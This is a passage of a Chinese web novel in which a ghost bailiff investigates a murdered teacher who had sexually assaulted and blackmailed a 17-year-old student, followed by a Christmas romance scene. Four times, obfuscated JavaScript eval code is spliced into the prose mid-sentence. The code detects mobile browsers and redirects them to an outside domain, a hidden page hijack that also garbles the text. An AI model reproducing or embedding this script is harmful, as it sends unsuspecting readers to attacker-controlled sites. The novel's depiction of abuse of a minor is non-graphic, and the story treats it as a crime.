宋宜平站了一节课,她本就营养不良,再加上最近严重缺觉,身体更不好了。长时间的站立使她眼前控制不住的冒星星,同学们的脸随着眨眼的频率一下清晰一下模糊。呼喊声似乎从远方传来,在她倒下的最后一秒,宋宜平看见的是李靖的脸。 她想,不亏有这么多女孩喜欢李老师。 她闻到了李靖身上象征着成熟男人的香水味,这件看他穿过许多次的白色衬衫被洗得极干净,还有他唤她名字的声音,让宋宜平想到了假期去餐厅打工时,店长给他们偷尝的梨花酒,花香之后还有回甘。 她被这酒熏得似乎有些醉了。 不然世界怎么会一片漆黑呢。 宋宜平再醒来时已过正午,医务室的窗开了半扇,枝桠毫无边界感的伸进了屋里,为这满目的白增添了一丝绿意。 想来老师去吃饭了,医务室里除她再没别人。 宋宜平从床上坐了起来,虽然头还有些痛,耳边尖锐的响声不断,但不至于再晕倒了。 她想要下床,扬手时才发现贴着一块医用胶布,是输液留下的痕迹。 宋宜平觉得没事了,正要撕下来,门被推开,与敞开的窗形成了对流。霎那间风起,枝桠摇曳,树影重重,绿叶碰撞发出哗啦啦的声响盖过了耳边的鸣叫。洁白的窗帘如浪一般涌动,李靖的脸映入她的眸中。 男人皱起好看的眉,快步走来道:“宋宜平,你怎么起来了?你还想晕倒吗?你知道你身体有多差吗!” 随后他又重重叹口气:“唉,怪我,我没想真的罚你,我就是想让你好好听课。你成绩那么好,不要让物理拖后腿啊。” “嘁,虚假的男人!”宋宜安没好气的翻了个白眼。 苏月现去看宋宜平的表情,哪怕如今已物是人非,女孩再回忆起这一段经历时,仍带有笑意。 这些话语与她看到的记忆相融合,虽然仅有简单的黑白画面,她感受不到他的心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14932706|156531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情,但是苏月现愿意相信,在这一刻,李靖真的是一个负责任的好老师,是真的关心宋宜平。 但人心难测。 不知从哪一秒开始,他的心思不再纯粹。 自医务室的事情发生后,宋宜平与李靖的关系更近了些。她常去办公室问问题,他每次都会耐心的解答。尽管如此,宋宜平期末考的成绩还是不够理想。这学期过后,将进入备战高考的阶段。物理已经结课,往后就是无止境的刷题。在这个人人均是学霸的班级,她落后了许多。每次考试都靠其他科目背物理的分数,形成了恶性循环。 李靖提出,寒假期间,让宋宜平去他家补课。那时候他已经做过家访,知道宋宜平没钱补课,便提出为他免费洗衣。 宋宜平神色犹豫,李靖让她不用立即答复,毕竟是家里的洗衣店,还是要商量之后再做决定。 她回去跟宋母商量时恰巧被宋宜安听到了,女孩立刻表示不喜欢这样不对等的方式。一旦开始,可能这辈子都摆脱不掉这个人了。但宋母拿不出补课钱,宋宜平的物理又确实是个老大难问题,李靖还是明星教师且只教重点班,这样好的机会,错过了实在可惜。无奈之下,宋宜安妥协了。 宋宜平第一次去李靖家时惊呆了。 李靖住在北州市富人区的会都小区,寻常车辆进不去,宋宜平到门口后需要给李靖打电话,再点开免提给门卫听,这才能放她进去。 小区绿化极好,氧气充足,有种森林公园的感觉。宋宜平需要走到很深处,才能抵达李靖的家。 那是一栋双层小别墅,通体欧式风格,还有一片种满鲜花的院子,李靖就站在门口等着她。 宋宜平早就被惊掉了下巴,若不是补课,她可能这辈子都没机会进入到这里。 李靖家所有家具都是白色的,一瞬间亮得宋宜平眯了下眼。她在他的引领下换了拖鞋,又见他指挥佣人把她携着贫民窟泥土的鞋底擦干净,不好意思的红了脸。 李靖忙解释:“不是嫌弃你,进到我家的鞋都要这样。”说着,佣人蹲下身子为他脱下踩了屋外地面的拖鞋,认真擦干净后服侍他穿上。 宋宜平眨眨眼,不懂这是什么特殊仪式,难道有钱人的家都这样吗? 李靖家有两名佣人,一名负责洗衣做饭和照看花园,另一名负责打扫全屋的卫生。 虽然他家有两层,但这个地段寸土寸金,屋子并没有想象中那么大,竟然还需要一个人专门负责打扫卫生。 李靖看出了她的疑惑,默默解释道:“她的工作是二十四小时的,我父母都是医务工作者,对卫生的要求比较严格。” 说话间,两人来到了书房,开始了第一次的补习。 不得不说,李靖是个很有分寸的人。独处时,他与宋宜平保持着一米的距离。需要看题目时,他会叫宋宜平往后挪一挪,这才将头靠过来。 补课结束后,李靖递给了宋宜平一包衣服,并叫车送她回家。 到家的钟点妈妈和妹妹还在洗衣店工作,她抱着那包衣服去找她们。走到洗衣店后,她才拆开袋子,默默给衣服分类。 衬衫,衬衫,还是衬衫……宋宜平心里想,怪不得每次见他都穿着衬衫。但这些衣服,拿出来时皆带着淡淡皂香,在理到第五件衬衫时,她终于发觉到了不对劲,仔细检查了一遍衣服的袖口领口——如她晕倒前见到的一样,被洗得极干净,看不见一点污垢。 不对啊,李靖今天说过,家里两个佣人,除了打扫卫生那个,另一个人负责洗衣做饭照看花园。 那还让她家洗做什么! 24.双生火焰(5) 第二次补完课离开时,李靖仍给了宋宜平一包衣服。她接了过去,当着他的面打开,一件一件检查。 不出意外,每一件拎起时,淡淡的皂香扑鼻而来。衣领、袖口,这些容易蹭脏的地方,都被洗得洁白如新。 宋宜平垂着眼,没去看李靖的表情,想来也是尴尬的。 “宋宜平……”李靖刚想说什么,宋宜平便把衣服三两下塞回去扔进了他怀里。 “这衣服不需要洗。李老师,我会想别的办法还你钱。” “有必要吗?” “没有必要吗!” 宋宜平气红了眼,水灵灵的眸瞪得老大,但毫无威慑力。 李靖满不在意,哂笑着道:“你生气了?就因为我给你一些洗过的衣服?” “……” “我只是在履行承诺,当初我们就是这么定下的。我给你什么你接什么不就好了!再说了,宋宜平,你是学生,应该听老师的话。” 宋宜平轻哼一声,笑得苦涩:“李老师,我不需要你的怜悯。” 她转身要走,这一刻李靖似乎紧张了起来。他走上前焦急的拉住了她的手,忘记了身份有别。 宋宜平顿了一下,反应过来后猛地甩开:“李老师下次见。” 她说完这句话,逃命似的离开了他的家。 李靖望着她的残影眯起了眼睛,触碰过宋宜平的手五指合拢,靠着记忆来回摩挲。 李靖很难形容这种感觉,趋于心动与占有之间的状态。他很明确自己不喜欢宋宜平,但却忍不住想要控制她。 “发生这件事后,你还去他那补课了?”苏月现问。 宋宜平点点头:“我以为牵手只是意外,没想到……” “没想到他动了心思。”清一感叹道,“男人没一个好东西。” “你好像把你自己骂进去了。”宋宜安对着清一翻了个白眼,“笨蛋!” “你——” “别吵,让宜平继续说。” 后来,宋宜平照常去李靖那补课,男人也没再塞给她洗过的衣服。他们度过了一段很平常的日子。 假期到了尾声,这天是宋宜平最后一次在李靖家补课。期间来了个快递,他跑去签收,顺便让宋宜平休个课间。 女孩确实坐得有些久了,她站起来在屋里来回走动着活动筋骨,转身时发现李靖的衣柜半开着。 宋宜平出于好心,走上前为他关门,却透过这一掌宽的门缝,发现了天大的秘密。 李靖喜欢收集女装。 宋宜平惊掉了下巴,震惊的目光扫过一件又一件风格大胆的短裙。她忍不住向下看去,高跟鞋整齐的码成一排,均是七厘米细根,颜色款式各异。有几双鞋上放着黑色丝袜,显然是穿过了。 门外的脚步声越来越近,她匆忙捡起被震碎的三观,装作什么都没发生的样子往书桌处走。 李靖推门而入,见宋宜平笔直的坐在那,全身崩成了一条不自然的线,心中起疑。 “你看见了?” 啪嗒——宋宜平虚握在手中的笔在听到这句话后掉在了地上,她匆忙去捡,嘴里含糊着说:“什……什么呀。” 李靖呼出一口气,再抬起眼时,换上了另一副狠戾的神情。 “你看见了。” 这次是肯定句。 李靖反手锁上了房门,慢慢走向宋宜平。 他温柔不再,目光冰冷,看向她的眼神,仿佛在看一件死物。 “你看见了也好,终于有一个人知道了我的秘密,终于可以……在你面前放纵了。” 李靖捏住宋宜平的脸,强迫她与他对视。 “宜平,我美吗?” 宋宜平的下巴被狠狠掐住,无法说话。她急得掉下了眼泪,滚落在李靖的手背上。 男人并没有因此产生怜惜之心,而是加深了力度,又问:“宜平,我美吗?” 宋宜平没办法,重重点了两下头。 他再问:“那,你会帮我保守秘密吗?” 宋宜平再次点头。 李靖却皱紧了眉,低声嘟囔着:“嗯~但我不太相信你。” 宋宜平被吓的大脑一片空白,她不明白平日温柔的李靖老师为什么突然会变成这样。 他本就有两幅面孔,还是…… 李靖始终都是李靖,学校里的形象都是伪装,这才是真实的他。 “这样吧,你跟我交换一个秘密。” 宋宜平还没明白怎么回事,就感到一阵天旋地转,被扔到了身后的大床上。 李靖欺身而上,掐住了她的脖子,让她无法言语。 在这一刻的宋宜平眼中,他的脸丑陋无比。 屋外忽然刮起了狂风,震得窗子咣咣响。屋内下起了如瀑的雨,细密的雨丝连成一张巨网,禁锢住了她。 宋宜平只觉得浑身冰冷,像破败的娃娃般躺在那,僵硬的四肢任由男人摆布。 闪光灯的强光拉回了她已经离体的灵魂,宋宜平奋力挣扎起来,却敌不过男人一只手的力量。 李靖双目猩红,嘴角噙着得意的笑容,任由宋宜平反抗,直到她慢慢平息、平静、绝望。 他弯下腰,附在她的耳边轻声道:“好了,这下你也有秘密了。” 窗外狂风停止,吹落一地白色花瓣。 夏天即将过去,梨花终是败了。 宋宜平话音落下,围坐起来的几人连呼吸都放轻了些,唯有宋母熟睡之际的阵阵鼾声,震响了黎明前的夜。 宋宜安面色铁青,紧皱着眉不知在想什么。 苏月现垂眼沉默着,她本想安慰一下宋宜平,许多话却如鲠在喉。 她知道,没人能真的安慰到她。 十七岁的年纪,本应如花一般绽放。但她的世界里,却猝不及防的刮起了一阵狂风,吹落了所有的花与叶,只留下光秃秃的枝干,赤裸的展现在众人面前。 这也是苏月现不愿执行这个任务的原因。 李靖死有余辜。 宋宜平扬起了一个笑容,温柔的缓和气氛:“怎么啦大家,怎么都这副表情,我现在真的没关系啦。” “后来……他还找过你吗?”清一问。 “找过。他以照片威胁我,差不多……一个月一次吧。我其实每次都拒绝了,但第二天他便拿着衣服来到我家的洗衣店,我妈还要笑着去迎他……我最接受不了这个。” “我要是早知道这些事,定给他两扫帚赶出去!”宋宜安少年心性,藏不住情绪,气得脸蛋儿都红了。 看来,宋宜安是在宋宜平死后才知道这件事的。 “你是怎么杀死李靖的?”苏月现问。 宋宜平倏地攥紧拳头,直愣愣的对上她的目光:“我这鬼的身份,杀死他很容易。” “说说过程,还有,你是在哪里杀死他的?” “在学校里,我直接把他打晕从我跳下的地方扔了下去,有什么问题吗?” 苏月现还想追问细节,宋宜安突然冒出来横在了两人中间:“说了这么半天,都渴了吧,我去给大家倒点水喝。”说罢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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墙壁上挂着的钟表指向了数字五,屋内没有窗户,只有一盏床侧灯,仍漆黑一片。宋母的翻身勤了一些,似有醒来的迹象。宋宜平的身影也越来越淡,天快亮了,她不能出现在白日。 “二位要是没什么事情,我就先走了。” “确实该走了。”苏月现起身活动了下筋骨,居高临下的看着宋宜平,“不过,是你该跟我走了。” 宋宜平仍是淡淡的神色,宋宜安跳了脚,立着辫子,张牙舞爪的就要往苏月现身上窜,却一把被清一拽住了脖领,用法力强行按在了原地。 “你,放,开,我!” 男女之间本就力量悬殊,还有法力加持,宋宜安被压得动弹不得,连开口说话都略显困难。 吴界吃了一宿瓜,心情愉悦。他估摸着是时候现身了,便揭开了贴在身上的隐身纸。 他的出现顿时吸引了所有人的目光。 “你这猫神,别把我徒儿压坏了!回来不张个了!” 清一哂了一下:“现在你能不能收徒都不一定了。” “嗯……那倒是。”吴界故作高深的捋了捋不存在的胡子。 “苏女官,这是何意?”宋宜平是个聪明人,一眼就看明白了怎么回事,“你们不信我。” 苏月现召出古伞,注入了一段鬼气,伞面的花纹随之亮起幽幽蓝光。她再次控伞,悬于宋宜平头顶,从上而下落下一道蓝色的屏障。 “宋宜平,你撒谎了,要是还不说实话,就直接跟我下地狱吧。” 25.双生火焰(6) “宋宜平,看来你是不打算说实话了。” “我说的全部都是实话。” 苏月现与宋宜平四目相对,空气中弥漫着浓浓的火药味。 宋宜安被压得无法动弹,吴界说到底是个人类参与不进来,坐在一旁眯眼看戏。 “天要亮了,我妈妈也要醒了,你确定要将我困在这吗?” 苏月现的神情闪过一次犹豫,这正是她担心的问题。如果宋母醒来,就先扣着她去下界。 毕竟阎王发出的任务帖不会错,她就是凶手,不算抓错人。 宋宜平抓住了她的动摇,还想再说点什么,却被清一的动作打断了。 只见他单手画了一张符,朝宋母甩去,在两姐妹震惊的目光中,那符停在女人头上片刻后,便融进了前额。 下一秒,有些醒来迹象的宋母像被定了身,规矩的平躺在床上,发出有节奏的鼾声。 做完这一切,清一勾了勾嘴角:“这下,她还会再睡上一天,你就不用担心了。” 他得意的扫过宋宜平气得发青的脸,目光落到还未发一言的苏月现身上,突然止了笑。 清一心道,完了,又该挨姐姐骂了。 却未曾想,苏月现对他的做法没发表任何意见,而是对着宋宜平说:“我的结界可保你不消散,即便被太阳照到了也没关系,只是会有些不舒服罢了。” 宋宜平眯起眼,想从苏月现的表情中探出所言虚实。 苏月现冷笑一声:“宋宜平,我说的都是实话,你应该信我。并且,我要再跟你强调一遍,我是阎罗殿的女官,我有就地处死你的权利。” “死”这个字好像是宋宜安的力量开关,一旁的女孩突然暴起,奋力挣脱着清一的禁锢。男人被她抻得七扭八歪。要不是其中掺着法力,估计她早就冲出去了。 “呸!还女官!分得清楚好人还是坏人吗!你们就跟学校里那些老头一样!都是坏人!都是坏人!为了保下狗屁明星教师委屈我姐姐!裴延青一样!是个懦夫!该死的是你们!” 这下换宋宜平震惊了:“什么?安安,你怎么会认识延青?” 宋宜安没听到宋宜平的话,还沉浸在情绪中:“苏月现,我告诉你,人是我杀的,你们休想带走我姐姐!” 吴界瞬间脱力往后倒去,清一眼疾手快的双手去扶。宋宜安恢复了自由身,赶忙走上前挤在了宋宜平与苏月现中间,以一副母鸡保护小鸡的架势护着身后人。 吴界靠着清一有气无力的说:“唉,这徒弟收不成了……” “那就说说吧,你是怎么杀的。” “我让裴延青利用他家的权利搞来天台钥匙,扮成姐姐的样子,约他晚上去学校的天台,他看到我的时候……的时候……然后,就死了。” 宋宜安越说声音越小,她皱起眉,似乎是在努力回忆那天的场景,却无论如何都讲不通。 “他看到我之后发生了什么……为什么死了……”宋宜安小声嘟囔着,“为什么我的记忆不全,可是我就是去杀他的呀……” 她身后的宋宜平冷汗直流,手指不停缠绕着衣摆,把平整的棉布绞得满是褶皱。 苏月现将她的模样尽收眼底,她想,她大概猜到为什么了。 “因为你有一个好姐姐。她不想让你背负杀戮,便附了你的身,替你杀了李靖。宋宜平,我说的对吗?” 宋宜平像上课突然被点名的学生,吓得抖了一下:“是……” 她答完后顿了一下,缓缓道:“李靖的家教很严,他跟我说他的父母一直在逼迫他,导致他精神不太好,夜晚会出现幻觉。我利用他这一点,附身了安安。他以为我来找他索命了,一口气没上来,便死了,然后我就将他从天台上丢了下去。” 吴界慢慢直起了身,探究的目光在姐妹二人身上来回扫着。 清一没懂他什么意思,但他的离开给肩膀省了不少力气,所以并没有多问。 “宋宜平,你认罪吗?” “我认。” 苏月现得到了她想要的答案,收起了禁锢她的伞。 宋宜安哭喊着扑向宋宜平,女孩一边安抚怀中的妹妹,一边偷偷背过身去抹泪。 屋外天光大亮,新一轮的阳光洒向人间,给北州市的冬日带来无限暖意。 苏月现和吴界留守在这,她派清一去李靖家探查一番。 清一传来讯息,李靖家已摆上灵堂,他的父母却毫无伤心之色,对着吊唁的宾客迎来送往,好像死的并不是亲生儿子。 直到李靖的奶奶前来,一把年纪靠在孙子的棺材上呜呜咽咽。李靖的父母要去扶她,她却推开了他们。 “都怪你们对小靖的疏忽!才把他变成这样的!” “妈,李靖是自杀的。” “我不信!他这么好的一个孩子怎么会自杀!” “都怪他太懦弱了!” …… 清一按照宋宜平的描述进入了他的房间,确认李靖确实在服用某种精神类药物。 这下真相大白,苏月现可以将宋宜平抓回地狱了。 她放下建房纸,一间与下界一模一样的房子显现出来。苏月现告诉清一具体位置,让他在家里等。 家里……对于他们说,是个暧昧的词汇。 但苏月现没觉出任何不妥,似乎她和清一本来就该是这样的。 另外,此事与宋宜安无关,吴界可以收她为徒。可这男人好像改了想法,迟迟不提这件事。 就在苏月现掐诀即将去下界时,吴界在她耳畔说了一句话—— 拥有阴阳眼的人,不易让鬼上身。除非是心甘情愿,也只能维持一会儿状态。 然而苏月现一心想完成任务,他临行前的叮嘱被抛到了脑后,直到坐在摆渡船上时才想起。 看着一旁坐在那闭目养神的宋宜平,她不确定的问:“李靖,其实是你们姐妹二人合力杀死的吧。确实是你把他扔下楼的,但那时候他已经被附在宋宜安身上的你吓死了。” 宋宜平睁开眼,疲惫的笑了一下:“什么都瞒不过你。” “若不是吴界告诉我,我也猜不出来,你装的真好。不过,如果是你们合力杀死的李靖,你的刑罚就会减少很多。” “安安会受到惩罚吗?哦对了,一直没来得及问,那个跟你们一起来的人类男人不简单吧。” “想来你已经知道宋宜安拥有阴阳眼这个天赋了,这事儿好也不好,好处是她能看见死后的你,坏处是其他鬼也能看见,经常会受到骚扰。一起跟我来的男人叫吴界,他是第三人,用人类的话来讲是道士之类 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986456|156531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的职业,他想收宋宜安为徒。我是鬼差,没权利处罚她。” “那就不必了。” “什么?” “就算我一个人的错吧。安安她还小。” “那裴延青到底是怎么回事?” “我真的不知道安安去找他了。”宋宜平垂下头,不安的扣起手上的死皮来,“高一结束的那个假期,延青跟我表白了。但他那时候已经签了娱乐公司,他家考虑到这边城市小,对他未来的发展不好,准备让他转学重新开始,所以我没答应,我们之间的差距太大了。我跟他断联是真的,只是在我跳楼之前,给延青打过一通电话。我没有求救,我只是想再听听他的声音。” “但是裴延青以为,如果他接了这通电话,你可能就不会死。”苏月现默默补充。 “可能吧,后面的事情都是安安跟他联系的,我不清楚了。” “宋宜平,你知道地狱里有多苦吗?你很有可能再也出不去。” “那就死了吧,这人间,我待够了。” 苏月现最终还是心软了,只将她放到了第三层,闯完了关依然能转世投胎。 做完这一切,苏月现去找阎王做了本次工作的汇报。 鸦影很满意她的速度,大手一挥给了她四天假期。 苏月现领了奖励,马不停蹄的赶往人间—— 清一还在家里等她。 苏月现只在下界待了两天,人间便已过了两月。 她再来到北州市时,这里下了一场鹅毛般的大雪,走在路上会发出“嚓嚓”的踩雪声。 街边的店铺换上了圣诞节的装扮,红红绿绿,与这白雪相伴,显得无比热闹。听擦肩而过的路人讲,今晚就是平安夜了。 苏月现从来都是自己一个人,所以没过过圣诞节。 今年却不一样。 她推开家门,感受到了一阵扑面而来的暖意。 北州市开始供暖了,她家也跟着沾光。 “姐姐,你回来啦。”清一拿着汤勺从厨房跑出来,笑着给她一个单手的拥抱,“好想你。” “人间和下界时间流逝的速度不一样,其实我才去了两天。”苏月现解释完,小声嘟囔了一句,“我也想你。” 她说得生涩,他却听得欢喜。 “我在煲玉米排骨汤,中午我们凑合喝点汤吧!今晚是平安夜,晚上给你做大餐~”清一一股脑的说完,没等她回复,便急忙跑回了厨房看他的汤去了。 苏月现去吧台倒水,心里想的都是平安夜该怎么过,想着想着忘记了手上的动作,水漫延了半张桌子。 她走去厨房拿抹布,余光瞥到了吸在冰箱门上蛋糕型状的装饰。 这个东西好像是上次清一买面包时,那家店的赠品。 蛋糕……这东西小朋友都喜欢吃吧。 苏月现有了主意。 她水也不喝了,抱着手机跑到沙发上,点开外卖软件开始浏览各品牌的蛋糕。 很多店铺都需要提前预定,苏月现找了好久,终于找到一家卖成品蛋糕的品牌,且包含了她想要的元素——猫咪。 她下单时又停住了,地址该怎么填呢? 最后她写的:北州市XX街道正中间。 除了有些为难外卖员,其他都挺好。 26.家的意义 苏月现的电话被打爆了。 外卖员连着问了她好几遍,确认地址没填错吗,她说没有。 她边通话边往厨房门口瞥,好在那边的排风声够吵,清一忙着捣鼓他那些菜,没听见这边的动静。 没一会儿,手机屏幕里显示已送达,苏月现忙跑过去悄悄打开了门—— 蛋糕安安静静的摆在地上,她拎起来再三检查,没有发现什么毁坏的痕迹。 苏月现很满意,大方打赏了一个五元的红包。做完这一切,她偷偷拎着蛋糕进了卧室。为了看守它,苏月现窝在里面再没出来,毕竟不能让某人发现这个惊喜。 随着一道道菜品端到桌上,天色也渐渐暗了下来。清一做完了今晚的全部菜,解了围裙招呼苏月现来吃饭。 他喊了三四遍都无人回应,这才发现客厅没人,跑去卧室门口咚咚咚敲起来。 “进!” 苏月现答完后,火速起身把蛋糕举在面前。清一第一眼见到的就是站在草地上的小猫。 那小猫长得像极了他,蓬蓬的毛发,金黄的眼瞳,还有不羁的神情,栩栩如生。 苏月现看不见他的表情,仅凭这安静的氛围能判断出清一很感动。 胳膊举得酸了,她默默往下挪了一寸,下一秒,清一的手覆了过来,托举起了蛋糕底部,承担了全部重量。 苏月现眨眨眼,顺势将手从中抽出。在错开的一点空隙中,她终于看见了他的神情。 那双漆黑的瞳仁,氤氲着湿漉漉的水汽,像春雨过境后的清晨,带着些许潮气。 苏月现笑着扬手,清一乖顺低头。 她冰冷的掌心与他温暖的发顶相触的那一刻,他说:“姐姐,谢谢你。” 清一一手端着蛋糕,一手牵着苏月现到餐桌处坐下。 他先将蛋糕放到了一旁,开始着手给苏月现盛汤。 她顺手就去接,他却没递过来,而是一勺一勺舀起来轻轻吹着。 蒸腾的热气模糊了视线,苏月现看着眼前熟悉的一幕,忽然想起了她的爹爹苏云鹤。 他是族中制伞技艺最好的族长,是苏月现最爱的爹爹。 这个男人的眼睛总是亮晶晶的,尤其是忆起亡母时,望向远方的眼神中总带着缱绻。 他说,“阿月,你的名字是你母亲给取的。那年生你时,夜空中本无月,被密集的云层挡死了。当爹爹听见你的第一声啼哭感谢上苍庇佑了你们母女时,却发现月亮露了出来。守得云开见月明,由此,取名为月现。” 他说,“阿月,身为苏家未来的继承人,你要明白,赚钱不是最重要的,最重要的是要有担当。你要练就族中最高超的技术,才能无愧家族、无愧客人……” 这便是苏月现之前对于苏云鹤的全部记忆。 由于宋宜平的案子办得很快,又恰逢鸦影那天心情好,他大手一挥,补上了方今昭那时扣掉的百分之五的进度。 再加上这一次的任务奖励,苏月现直接恢复到了百分之五十的记忆。 她这叶扁舟顺着记忆的河流,终于来到了爹爹生病的篇章。 苏月现在苏宅有个自己的小厨房。她偶尔会亲自下厨做饭吃,还会给清一准备他爱吃的鱼和鸡肝。 那段日子,族中生意发生了些变故,苏云鹤每日早出晚归,苏月现看在眼里疼在心里。但她资历尚浅,还不能替苏云鹤打理全部生意,又怜惜他操劳,便去找了镇子上的医生,开了一张补身体的方子。 平日里,苏月现也要跟着苏云鹤巡店,她让她的贴身侍女蓁蓁来为苏父煎药。 蓁蓁原是隔壁王家的婢女,不小心染了病,被主家嫌弃扔了出来。她晕倒在路边时遇见了苏月现,被她好心捡走了。不仅治好了病,还将她留在了身边。 苏家大小姐的贴身婢女,过得很风光。她每日的穿戴,乍一眼看不出是下人,倒像是家里某个远房亲戚家的小姐。 她性子沉稳,不爱说话,苏月现非常信任蓁蓁,待她极好。所以将每日煎药的重任交给了她。 但苏云鹤的身体仍每况愈下,苏月现觉得是方子的问题,又亲自去找了一趟医生。在她去的路上,苏云鹤终于晕倒了。 这一倒,便再没起来。 “我爹就是这样的。”苏月现缓缓道,“他一个大家族的族长,每日需要处理那么多事物,却还会披着风霜赶回家与我吃上一顿饭。” 清一舀汤的手一顿:“老爷吗?确实是这样的。” “你记得他?” “我从前爱在院子里跑,偶尔能碰见他,每次碰面他都会摸我的头。” “他就是这样温柔的人。” “可我觉得,是因为姐姐呢。”清一估摸着汤的温度差不多了,便推到了苏月现面前,“喝吧。” 苏月现看着乳白色的汤底,没有立即入口,而是陷入了回忆中:“我爹最爱喝汤汤水水的东西……后来好像就不爱了,药喝太多了,常往外吐。唉,后面的记忆,我还没有恢复。” 清一欲言又止。 他那时虽然是一只猫,没有人类一般对事物的感受,但如今细细想来,他大概能猜到是哪个环节出了问题导致苏家覆灭的。可他不敢妄言,毕竟自己曾经是只猫,有些记忆他也模糊。不是百分百确定的话,就不要说,免得徒增烦恼。 “没事姐姐,我们慢慢的,不着急!你不用逼着自己走这么快,可以适当的歇一歇。” “一个人在这个世界上待久了便会觉得没意思,像这样的圣诞节,我不知道过了多少遍。对于我来说,不是慢慢,是漫漫,三点水那个。”苏月现自嘲笑笑。 “你不是一个人,你还有我呀!嗯……你还有这个房子!是家!” “家?” “嗯!不管是慢慢还是漫漫,有家便有归途。”清一抬起胳膊,握住了她扶碗的手,“以后的路,我陪你一起。” 苏月现怔在那许久都没反应过来。 是啊,这就是家。 她活了这么多年,都没有一只初生的猫咪想得通透。 苏月现看着他们相叠的手,口中反复呢喃着“家”的字眼。 有爱才有家。 不得不承认,她被清一潜移默化的改变了许多。曾经称得上无情的规则守护者,开始有了丰富的情感,甚至会心疼一些厉鬼的遭遇。 并不是所有变成厉鬼的人,生前都参与了杀人放火的恶事。他们同样是父母的宝贝,是朋友的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15053436|156531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知己,是爱人和被爱的人。 非正常死亡、含冤而死、执念极强者,都有可能在死后变成厉鬼。 如果人们的某些欲望长时间聚集,也会直接在事发地产生厉鬼。 总之,来源千千万,曾经的苏月现皆是一棍子打死。管你什么原因,才不听,直接去地狱里赎罪吧。 可在与清一搭档后,她开始会动恻隐之心。不然不会为陈炳惟惋惜,不会为盛辉不平,不会在方今昭那挨罚,更不会放宋宜平一马。 她承认,她的心态发生了很大变化,这一切都源于清一。 是他的不离不弃,时时刻刻在身边的陪伴,让她产生了爱。 所以,有爱才有家。 苏月现反握住了清一的手,笑着道:“好啊,一起。” 这次换清一愣住了。 苏姐姐这是……怎么了,怎么突然…… “姐姐,你——” “清一,你是不是喜欢我啊?”苏月现问得坦荡。 清一顿时涨红了脸,他藏匿了许久的心思就这样被明晃晃的戳出来了。 “或许,我也喜欢你。这是我第一次谈恋爱,所以我不太懂算不算喜欢,但我知道,我想和你一直在一起。我希望你能陪伴在我身边。” “姐姐,你这是在表白吗?有一个方法,可以帮你辨别是不是真的喜欢。” 清一松开手,走到苏月现身边弯下腰,他扶住她的肩,将头凑了过去,低声道:“现在,我要吻你了。” 苏月初感受到他呼出的热气喷洒在自己脸上,立马红了脸。她明明没有心跳,却在耳边听到了密如鼓点的砰砰声。她掐住大腿来缓解心底的紧张,缓缓闭上了眼睛。 下一秒,轻如羽毛的吻落在了唇瓣上。她感受到了来自清一的温热,这种她已经很久没有拥有过的温度。 他吻得生涩,她回应的简单。这并不是娴熟的吻,却饱含了浓重的爱意。笼罩在他们彼此的心头,包裹住了最脆弱的地方。 爱不是软肋,爱是柔软却坚硬的铠甲。 清一的唇离开了几寸,他扬起手,摩挲着苏月现的下唇,从左至右,一下又一下。 “姐姐,感觉如何?能确认你的心了吗?” 不是,这对吗?也要来个客返吗? “我没有心,但是,呃,很好。嗯……这感觉还不错,以后可以多多——” 清一听后,弯起眼睛笑起来:“好啊!” 他起身走回座位,从电饭煲里盛好饭推到苏月现面前:“我们吃饭吧,再不吃就凉了。” 苏月现一脸懵的看着眼前白花花的米饭,快速眨了几下眼,拿起筷子往口中送。 什么情况……上一秒还在浓情蜜意,下一秒就吃饭啦?? 这变脸的速度也太快了吧。 清一看着机械式吃饭的苏月现,侧过头,默默呼出一口气。 真的紧张死了!!!! 苏姐姐为什么这么漂亮啊!嘴巴也软软的!救命差点就绷不住了! 他左手默默扶上了自己的耳朵,企图挡住红彤彤的颜色。 “清一,吃完饭我们去散步吧。”苏月现提议,“人类的约会……应该是这样的吧。” 27.爱与遗憾(1) 吃完饭后,两人收拾妥当,出门散步。清一主动上前,拉住了苏月现的手。与以往的每一次触碰都一样却也不同。 苏月现没有什么特别的表现,只是不知道是北州的寒风太凛冽,还是因为害羞,偷偷红了耳朵。 清一的心跳仍旧很快,他始终觉得这一切像一场梦。 